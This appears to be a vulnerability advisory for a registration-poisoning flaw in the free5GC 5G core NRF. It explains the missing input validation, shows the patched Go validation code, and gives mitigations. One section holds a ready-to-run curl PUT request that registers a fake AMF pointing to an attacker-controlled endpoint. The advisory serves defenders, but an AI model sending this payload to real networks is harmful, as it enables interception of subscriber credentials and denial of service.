CVE-2026-55068: Network Function Registration Poisoning in free5GC NRF

In a 3GPP-compliant 5G Core Network, the Network Repository Function (NRF) functions as the centralized service directory, managing the state and registration details of all active Network Functions (NFs) such as the Access and Mobility Management Function (AMF) and the Session Management Function (SMF).

When individual NFs initialize, they register their service profiles via the NRF's management API. Legitimate peer NFs subsequently query this service directory to obtain IP addresses, port configurations, and URI schemes necessary to routing operational 5G control-plane traffic.

In free5GC version 4.2.2 and earlier, the NRF's RegisterNFInstance handler failed to perform structural, value-bound, or architectural validation on incoming registration payloads. This structural failure allows unauthorized network actors with access to the Service-Based Interface (SBI) to advertise non-compliant metadata, leading to registration directory poisoning.

The root cause of CVE-2026-55068 lies in the absence of explicit, schema-enforced validation routines within the RegisterNFInstance handler located at the PUT path /nnrf-nfm/v1/nf-instances/{nfInstanceID}. The server accepted any arbitrary JSON document and persisted it directly to the underlying MongoDB datastore without verification against the 3GPP TS 29.510 specification.

Because MongoDB is schema-less by default and no collection-level JSON Schema validation was configured for the NfProfile collection, invalid structural data was stored successfully. Key specifications, such as verifying that nfInstanceId conforms to a standard UUID v4 format or ensuring that nfStatus matched permissible 3GPP enum values, were entirely ignored.

Most critically, the NRF failed to validate the ipEndPoints nested within the nfServices array. No mechanism was in place to verify whether the advertised IP addresses belonged to legitimate internal network zones, allowing external or rogue IP endpoints to be integrated directly into the topology of the 5G Core Network.

This lack of validation extended to HTTP PATCH operations. The NRF accepted JSON Patch modifications containing arbitrary structure changes and saved them to the registry database, rendering dynamic profile updates highly susceptible to modification-based poisoning.

In vulnerable versions, raw HTTP request bodies were unmarshaled directly into Go struct models without invoking validation methods, followed by direct database persistence. The patch introduced in PR #90 fixes this by parsing request streams through a newly written validation engine.

The updated validation engine in internal/sbi/processor/nf_profile_validation.go enforces the structure below:

func validateNfProfile(nfProfile *models.NrfNfManagementNfProfile) error {
	if nfProfile == nil {
		return fmt.Errorf("NF profile is required")
	}
	// Enforce strict UUID v4 checking
	if err := validateNfInstanceID(nfProfile.NfInstanceId); err != nil {
		return err
	}
	// Validate standard-defined enumerations
	if !validNfType(nfProfile.NfType) {
		return fmt.Errorf("invalid nfType: %s", nfProfile.NfType)
	}
	if !validNfStatus(nfProfile.NfStatus) {
		return fmt.Errorf("invalid nfStatus: %s", nfProfile.NfStatus)
	}
	// Ensure numeric values are bounded safely
	if nfProfile.HeartBeatTimer != 0 && !validHeartBeatTimer(nfProfile.HeartBeatTimer) {
		return fmt.Errorf("heartBeatTimer must be between %d and %d", minHeartBeatTimer, maxHeartBeatTimer)
	}
	// Verify endpoint transport values and valid network syntax
	for serviceIndex, service := range nfProfile.NfServices {
		for endpointIndex, endpoint := range service.IpEndPoints {
			if err := validateIPEndPoint(endpoint); err != nil {
				return fmt.Errorf("invalid nfServices[%d].ipEndPoints[%d]: %w", serviceIndex, endpointIndex, err)
			}
		}
	}
	return nil
}

The corresponding network validation function ensures that IP addresses are syntactically valid and that the port values fall within valid TCP bounds:

func validateIPEndPoint(endpoint models.IpEndPoint) error {
	if endpoint.Transport != "" && endpoint.Transport != models.NrfNfManagementTransportProtocol_TCP {
		return fmt.Errorf("transport must be TCP")
	}
	if endpoint.Port != 0 && (endpoint.Port < 1 || endpoint.Port > 65535) {
		return fmt.Errorf("port must be between 1 and 65535")
	}
	if endpoint.Ipv4Address != "" {
		ip := net.ParseIP(endpoint.Ipv4Address)
		if ip == nil || ip.To4() == nil {
			return fmt.Errorf("invalid ipv4Address: %s", endpoint.Ipv4Address)
		}
	}
	return nil
}

Exploiting this flaw requires network access to the 5G Core Service-Based Interface (SBI). An attacker registers an arbitrary NF Profile by transmitting an HTTP PUT request configured with spoofed service endpoints.

The payload used in the attack replaces legitimate endpoints with an attacker-controlled listener target (e.g., 10.0.0.99:7777 for the AMF communication service):

curl -X PUT \
  "http://<NRF_IP>:8000/nnrf-nfm/v1/nf-instances/11111111-1111-1111-1111-111111111111" \
  -H "Content-Type: application/json" \
  -d '{
    "nfInstanceId": "11111111-1111-1111-1111-111111111111",
    "nfType": "AMF",
    "nfStatus": "REGISTERED",
    "heartBeatTimer": 3600,
    "plmnList": [{"mcc": "001", "mnc": "01"}],
    "sNssais": [{"sst": 1, "sd": "010203"}],
    "nfServices": [{
      "serviceInstanceId": "fake-amf-svc",
      "serviceName": "namf-comm",
      "versions": [{"apiVersionInUri": "v1", "apiFullVersion": "1.0.0"}],
      "scheme": "http",
      "nfServiceStatus": "REGISTERED",
      "ipEndPoints": [{"ipv4Address": "10.0.0.99", "port": 7777, "transport": "TCP"}]
    }]
  }'

Once registered, subsequent Service Discovery requests initiated by neighboring functions receive this poisoned routing descriptor. Peer nodes then transmit sensitive HTTP/2 control-plane JSON payloads directly to the attacker-controlled server, exposing active subscriber identifiers (SUPI/IMSI) and authentication parameters.

The impact of successful registry poisoning is severe. By intercepting control-plane signaling, an attacker can capture raw subscriber authentication vectors, session establishment commands, and individual subscriber credentials, undermining cellular link confidentiality.

Furthermore, system integrity and availability are directly affected. Attackers can register invalid endpoints that lead to routing loops or non-existent destinations, causing a widespread Denial of Service (DoS) across dependent network functions.

While CVSS 4.0 classifies this vulnerability at a critical score of 9.3, real-world execution requires network proximity to the internal 5G Service-Based Interface. However, within multi-tenant cloud deployments, container compromises could serve as a direct springboard for this attack.

To address this vulnerability, security teams must deploy the official patches released by the free5GC maintainers.

Although the input validation patch resolves the primary injection vector, operators should note that the validation module still allows registering arbitrary IP addresses. It does not enforce a restriction on local loopback addresses (such as 127.0.0.1) or private subnets unless those ranges are explicitly configured. Consequently, secondary risks like internal Server-Side Request Forgery (SSRF) could still occur if peer NFs parse these endpoints without local network authorization checks.

To establish depth-of-defense, deployment environments should restrict API access using localized service mesh mutual TLS (mTLS) setups. Restricting the Service-Based Interface using IP-based firewalls prevents rogue workloads from interacting with the NRF control-plane endpoints.